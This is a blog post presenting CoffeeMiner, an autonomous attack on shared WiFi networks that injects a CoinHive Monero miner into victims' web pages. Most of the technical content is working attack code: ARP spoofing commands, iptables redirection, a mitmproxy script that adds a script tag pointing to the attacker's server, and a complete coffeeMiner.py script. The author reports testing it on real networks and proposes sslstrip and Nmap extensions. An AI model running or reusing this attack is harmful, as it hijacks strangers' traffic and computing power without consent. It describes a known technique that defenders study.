You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

426 lines
18 KiB

  1. # CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests
  2. *2018-01-04*
  3. ***Disclamer: this article & project is for academic purposes only.***
  4. Some weeks ago I read about [this Starbucks case](https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive) where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.
  5. The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.
  6. ![coffeeMiner](img/posts/coffeeMiner/coffeeMiner-logo-small.png "coffeeMiner")
  7. The objective is to have a script that performs autonomous attack on the WiFi network. It's what we have called **CoffeeMiner**, as it's a kind of attack that can be performed in the cafes WiFi networks.
  8. ## 1. The Scenario
  9. The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.
  10. ![network](img/posts/coffeeMiner/coffeeMiner-network-attack.png "network")
  11. ### 1.1 Scenario configuration
  12. The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.
  13. We will use VirtualBox to deploy our virtual scenario https://www.virtualbox.org/ .
  14. First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images https://www.kali.org/
  15. Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.
  16. To configure the defined scenario we need to prepare the machines each one with a role:
  17. - Victim
  18. - will be the machine that connects to the Router and browse some pages.
  19. - Attacker
  20. - will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.
  21. - Router / Gateway
  22. - will act as a normal gateway.
  23. ![network](img/posts/coffeeMiner/scenario01.png "network")
  24. Once the attack is performed, the scenario will be:
  25. ![network](img/posts/coffeeMiner/scenario02.png "network")
  26. To configure each one of the machines, we will do the following configuration:
  27. - Victim
  28. - network adapter:
  29. - eth0: Host-only Adapter
  30. - /etc/network/interfaces:
  31. ```bash
  32. auto lo
  33. iface lo inet loopback
  34. auto eth0
  35. iface eth0 inet static
  36. address 10.0.2.10
  37. netmask 255.255.255.0
  38. gateway 10.0.2.15
  39. ```
  40. - Attacker
  41. - network adapter:
  42. - eth0: Host-only Adapter
  43. - /etc/network/interfaces:
  44. ```bash
  45. auto lo
  46. iface lo inet loopback
  47. auto eth0
  48. iface eth0 inet static
  49. address 10.0.2.20
  50. netmask 255.255.255.0
  51. gateway 10.0.2.15
  52. ```
  53. - Router / Gateway
  54. - network adapter:
  55. - eth0: Bridged Adapter
  56. - eth1: Host-only Adapter
  57. - /etc/network/interfaces:
  58. ```bash
  59. auto lo
  60. iface lo inet loopback
  61. auto eth0
  62. iface eth0 inet dhcp
  63. auto eth1
  64. iface eth1 inet static
  65. address 10.0.2.15
  66. netmask 255.255.255.0
  67. ```
  68. ## 2. CoffeeMiner, understanding the code
  69. ### 2.1 ARPspoofing
  70. First of all, we need to understand how the MITM attack is performed.
  71. From wikipedia:
  72. *"In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker's MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead."*
  73. https://en.wikipedia.org/wiki/ARP_spoofing
  74. To perform the ARPspoofing attack, we will use the **dsniff** library.
  75. ```bash
  76. arpspoof -i interface -t ipVictim ipGateway
  77. arpspoof -i interface -t ipGateway ipVictim
  78. ```
  79. ### 2.2 mitmproxy
  80. [mitmproxy](https://mitmproxy.org/) is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.
  81. To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.
  82. The line to inject the crypto miner is:
  83. ```html
  84. <script src="http://httpserverIP:8000/script.js"></script>
  85. ```
  86. ### 2.3 Injector
  87. Once we have the victim's traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:
  88. ```python
  89. from bs4 import BeautifulSoup
  90. from mitmproxy import ctx, http
  91. import argparse
  92. class Injector:
  93. def __init__(self, path):
  94. self.path = path
  95. def response(self, flow: http.HTTPFlow) -> None:
  96. if self.path:
  97. html = BeautifulSoup(flow.response.content, "html.parser")
  98. print(self.path)
  99. print(flow.response.headers["content-type"])
  100. if flow.response.headers["content-type"] == 'text/html':
  101. script = html.new_tag(
  102. "script",
  103. src=self.path,
  104. type='application/javascript')
  105. html.body.insert(0, script)
  106. flow.response.content = str(html).encode("utf8")
  107. print("Script injected.")
  108. def start():
  109. parser = argparse.ArgumentParser()
  110. parser.add_argument("path", type=str)
  111. args = parser.parse_args()
  112. return Injector(args.path)
  113. ```
  114. ### 2.4 HTTP Server
  115. As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.
  116. In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library 'http.server':
  117. ```python
  118. #!/usr/bin/env python
  119. import http.server
  120. import socketserver
  121. import os
  122. PORT = 8000
  123. web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
  124. os.chdir(web_dir)
  125. Handler = http.server.SimpleHTTPRequestHandler
  126. httpd = socketserver.TCPServer(("", PORT), Handler)
  127. print("serving at port", PORT)
  128. httpd.serve_forever()
  129. ```
  130. The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.
  131. The javascript miner, will be placed in the /miner_script directory. In our case, we have used the [CoinHive](https://coinhive.com/) javascript miner.
  132. ### 2.5 CoinHive crypto miner
  133. [CoinHive](https://coinhive.com/) is a javascript miner for the [Monero cryptocurrency](https://coinmarketcap.com/es/currencies/monero/) (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on [CryptoNote](https://cryptonote.org/) protocol.
  134. CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn't make much sense.
  135. In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.
  136. ![CoinHive logo](img/posts/coffeeMiner/coinhive-monero-logo.jpg "CoinHive logo")
  137. ## 3. CoffeeMiner, puting all together
  138. The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.
  139. The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.
  140. First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker's machine into a proxy:
  141. ```bash
  142. echo 1 > /proc/sys/net/ipv4/ip_forward
  143. iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
  144. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
  145. ```
  146. To perform the ARPspoof for all the victims, we will prepare a 'victims.txt' file with all the victim's IP.
  147. To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim's IP.
  148. ```python
  149. # get gateway_ip
  150. gateway = sys.argv[1]
  151. print("gateway: " + gateway)
  152. # get victims_ip
  153. victims = [line.rstrip('\n') for line in open("victims.txt")]
  154. print("victims:")
  155. print(victims)
  156. # run the arpspoof for each victim, each one in a new console
  157. for victim in victims:
  158. os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
  159. os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
  160. ```
  161. Once we have the ARPspoofing performed, we just need to run the HTTP Server:
  162. ```bash
  163. > python3 httpServer.py
  164. ```
  165. And now, we can run the mitmproxy with the injector.py:
  166. ```bash
  167. > mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
  168. ```
  169. ## 3.1 CoffeeMiner, final script
  170. Now we put all the concepts explained above in the 'coffeeMiner.py' script:
  171. ```python
  172. import os
  173. import sys
  174. #get gateway_ip (router)
  175. gateway = sys.argv[1]
  176. print("gateway: " + gateway)
  177. # get victims_ip
  178. victims = [line.rstrip('\n') for line in open("victims.txt")]
  179. print("victims:")
  180. print(victims)
  181. # configure routing (IPTABLES)
  182. os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
  183. os.system("iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE")
  184. os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080")
  185. os.system("iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080")
  186. # run the arpspoof for each victim, each one in a new console
  187. for victim in victims:
  188. os.system("xterm -e arpspoof -i eth0 -t " + victim + " " + gateway + " &")
  189. os.system("xterm -e arpspoof -i eth0 -t " + gateway + " " + victim + " &")
  190. # start the http server for serving the script.js, in a new console
  191. os.system("xterm -hold -e 'python3 httpServer.py' &")
  192. # start the mitmproxy
  193. os.system("~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T")
  194. ```
  195. And also in the 'injector.py' script:
  196. ```python
  197. from bs4 import BeautifulSoup
  198. from mitmproxy import ctx, http
  199. import argparse
  200. class Injector:
  201. def __init__(self, path):
  202. self.path = path
  203. def response(self, flow: http.HTTPFlow) -> None:
  204. if self.path:
  205. html = BeautifulSoup(flow.response.content, "html.parser")
  206. print(self.path)
  207. print(flow.response.headers["content-type"])
  208. if flow.response.headers["content-type"] == 'text/html':
  209. print(flow.response.headers["content-type"])
  210. script = html.new_tag(
  211. "script",
  212. src=self.path,
  213. type='application/javascript')
  214. html.body.insert(0, script)
  215. flow.response.content = str(html).encode("utf8")
  216. print("Script injected.")
  217. def start():
  218. parser = argparse.ArgumentParser()
  219. parser.add_argument("path", type=str)
  220. args = parser.parse_args()
  221. return Injector(args.path)
  222. ```
  223. And to execute, we just need to do:
  224. ```bash
  225. > python3 coffeeMiner.py RouterIP
  226. ```
  227. ## 4. Demo
  228. In order to do the demo, we set up the VirtualBox scenario explained above.
  229. If we want to perform the attack manually, we will need the following terminals:
  230. ![demo](img/posts/coffeeMiner/demo01.png "demo")
  231. Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim's machine and browse to a website. The victim's traffic will go through the attacker machine, and will activate the injector:
  232. ![demo](img/posts/coffeeMiner/demo02.png "demo")
  233. As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.
  234. ![demo](img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif "demo")
  235. #### 4.1 Demo video
  236. In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:
  237. - VirtualBox demo:
  238. [![video demo](img/posts/coffeeMiner/demo-video.png)](https://www.youtube.com/watch?v=wmYJ6Z4LoCA)
  239. - Real world WiFi network and laptops demo:
  240. [![video demo](img/posts/coffeeMiner/demo-realWiFi-video.png)](https://www.youtube.com/watch?v=-TnzGLUD0DU)
  241. ## Conclusion
  242. As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.
  243. Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.
  244. Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous [Nmap](https://nmap.org/) scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding [sslstrip](https://moxie.org/software/sslstrip/), to make sure the injection also in the websites that the user can request over HTTPS.
  245. The complete code is available in the github repo: https://github.com/arnaucube/coffeeMiner
  246. ---
  247. ***Disclamer: this article & project is for academic purposes only.***
  248. ---
  249. *tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3*
  250. ---
  251. # References in the press about this article
  252. - English
  253. - https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/
  254. - http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html
  255. - https://gbhackers.com/coffeeminer-hacking-wifi/
  256. - https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/
  257. - http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/
  258. - https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/
  259. - http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/
  260. - https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency
  261. - https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&utm_medium=Sociallymap&utm_campaign=Sociallymap
  262. - http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html
  263. - https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5
  264. - https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/
  265. - https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/
  266. - https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/
  267. - https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/
  268. - https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/
  269. - https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html
  270. - https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/
  271. - https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/
  272. - http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320
  273. - Spanish
  274. - http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html
  275. - https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/
  276. - http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/
  277. - https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/
  278. - https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/
  279. - http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/
  280. - https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/
  281. - https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/
  282. - Russian
  283. - https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/
  284. - https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty
  285. - https://xakep.ru/2018/01/10/coffeeminer/
  286. - Italian
  287. - http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute
  288. - Bulgarian
  289. - https://questona.com/coffeeminer-wifi/
  290. - Greek
  291. - https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/
  292. - Turkish
  293. - http://blog.cyberage.com.tr/2018/01/10/coffeeminer/
  294. - Dutch
  295. - https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/
  296. - Chinese
  297. - http://www.4hou.com/wireless/9773.html
  298. - https://www.ithome.com.tw/news/120449
  299. #### Destacated tweets
  300. - @defcon https://twitter.com/defcon/status/949679959509012480
  301. - @x0rz https://twitter.com/x0rz/status/948865836609130496
  302. - @avast_antivirus https://twitter.com/avast_antivirus/status/951835917815308288
  303. - @fullstackpython https://twitter.com/fullstackpython/status/949707681543213057
  304. - @alienvault https://twitter.com/alienvault/status/950449599872929792
  305. - @binitamshah https://twitter.com/binitamshah/status/951520444900818945
  306. - @_odisseus https://twitter.com/_odisseus/status/951052521967144960
  307. ![tweets](img/posts/coffeeMiner/tweets_small.png "tweets")